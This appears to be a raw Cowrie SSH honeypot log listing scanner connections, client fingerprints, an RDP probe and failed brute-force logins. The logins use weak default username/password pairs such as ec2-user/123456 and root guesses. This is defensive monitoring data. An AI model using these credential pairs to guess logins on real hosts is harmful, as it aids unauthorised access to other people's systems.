{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:27.022433Z","src_ip":"83.168.110.85","session":"6b7eafa589f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts","password":"ts","message":"login attempt [ts/ts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:27.406936Z","src_ip":"83.168.110.85","session":"6b7eafa589f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:28.538283Z","src_ip":"83.168.110.85","session":"6b7eafa589f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.44","src_port":43791,"dst_ip":"159.203.135.109","dst_port":22,"session":"65f9ac49a689","protocol":"ssh","message":"New connection: 79.127.181.44:43791 (159.203.135.109:22) [session: 65f9ac49a689]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:35.600743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:35.814457Z","src_ip":"79.127.181.44","session":"65f9ac49a689","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:36.021946Z","src_ip":"79.127.181.44","session":"65f9ac49a689","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:36.028529Z","src_ip":"79.127.181.44","session":"65f9ac49a689","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":38692,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8d5630d5eef","protocol":"ssh","message":"New connection: 83.168.110.85:38692 (159.203.135.109:22) [session: a8d5630d5eef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:37.627173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:37.652115Z","src_ip":"83.168.110.85","session":"a8d5630d5eef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:37.748889Z","src_ip":"83.168.110.85","session":"a8d5630d5eef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"apache","message":"login attempt [apache/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:38.222168Z","src_ip":"83.168.110.85","session":"a8d5630d5eef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:39.374728Z","src_ip":"83.168.110.85","session":"a8d5630d5eef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":61860,"dst_ip":"159.203.135.109","dst_port":22,"session":"23b6478ba7d5","protocol":"ssh","message":"New connection: 152.42.212.128:61860 (159.203.135.109:22) [session: 23b6478ba7d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:44.643988Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:44.649057Z","src_ip":"152.42.212.128","session":"23b6478ba7d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:44.653166Z","src_ip":"152.42.212.128","session":"23b6478ba7d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":60136,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c62bdb1e93b","protocol":"ssh","message":"New connection: 83.168.110.85:60136 (159.203.135.109:22) [session: 2c62bdb1e93b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:47.940462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:48.142270Z","src_ip":"83.168.110.85","session":"2c62bdb1e93b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:48.147118Z","src_ip":"83.168.110.85","session":"2c62bdb1e93b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"123456","message":"login attempt [ec2-user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:48.656960Z","src_ip":"83.168.110.85","session":"2c62bdb1e93b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":40644,"dst_ip":"10.17.0.5","dst_port":22,"session":"597db39d8506","protocol":"ssh","message":"New connection: 103.195.236.96:40644 (10.17.0.5:22) [session: 597db39d8506]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:49.082160Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:49.090373Z","src_ip":"103.195.236.96","session":"597db39d8506","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:49.327867Z","src_ip":"103.195.236.96","session":"597db39d8506","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:49.781442Z","src_ip":"83.168.110.85","session":"2c62bdb1e93b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ijrjkflrf","message":"login attempt [root/ijrjkflrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:50.044929Z","src_ip":"103.195.236.96","session":"597db39d8506","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:51.295078Z","src_ip":"103.195.236.96","session":"597db39d8506","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":56704,"dst_ip":"159.203.135.109","dst_port":22,"session":"7cbf4ada7d03","protocol":"ssh","message":"New connection: 103.122.221.179:56704 (159.203.135.109:22) [session: 7cbf4ada7d03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:55.041616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:55.046705Z","src_ip":"103.122.221.179","session":"7cbf4ada7d03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:55.309794Z","src_ip":"103.122.221.179","session":"7cbf4ada7d03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rfn.irf","message":"login attempt [root/rfn.irf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:56.099535Z","src_ip":"103.122.221.179","session":"7cbf4ada7d03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:57.367353Z","src_ip":"103.122.221.179","session":"7cbf4ada7d03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":40972,"dst_ip":"159.203.135.109","dst_port":22,"session":"7bc6dc00dbff","protocol":"ssh","message":"New connection: 83.168.110.85:40972 (159.203.135.109:22) [session: 7bc6dc00dbff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:58.741176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:58.802599Z","src_ip":"83.168.110.85","session":"7bc6dc00dbff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:58.921937Z","src_ip":"83.168.110.85","session":"7bc6dc00dbff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"123456","message":"login attempt [ftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:32:59.362590Z","src_ip":"83.168.110.85","session":"7bc6dc00dbff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:33:00.528466Z","src_ip":"83.168.110.85","session":"7bc6dc00dbff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":38880,"dst_ip":"159.203.135.109","dst_port":22,"session":"bcaec6269795","protocol":"ssh","message":"New connection: 80.66.85.226:38880 (159.203.135.109:22) [session: bcaec6269795]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:33:04.438882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:33:04.444046Z","src_ip":"80.66.85.226","session":"bcaec6269795","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:33:04.539127Z","src_ip":"80.66.85.226","session":"bcaec6269795","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a12345a","message":"login attempt [root/a12345a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:33:04.816969Z","src_ip":"80.66.85.226","session":"bcaec6269795","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.118.29.129","src_port":49718,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb3c9883e0dd","protocol":"ssh","message":"New connection: 103.118.29.129:49718 (159.203.135.109:22) [session: bb3c9883e0dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:33:05.632129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:33:05.637895Z","src_ip":"103.118.29.129","session":"bb3c9883e0dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:33:05.888433Z","src_ip":"103.118.29.129","session":"bb3c9883e0dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:33:05.920908Z","src_ip":"80.66.85.226","session":"bcaec6269795","protocol":"ssh"}
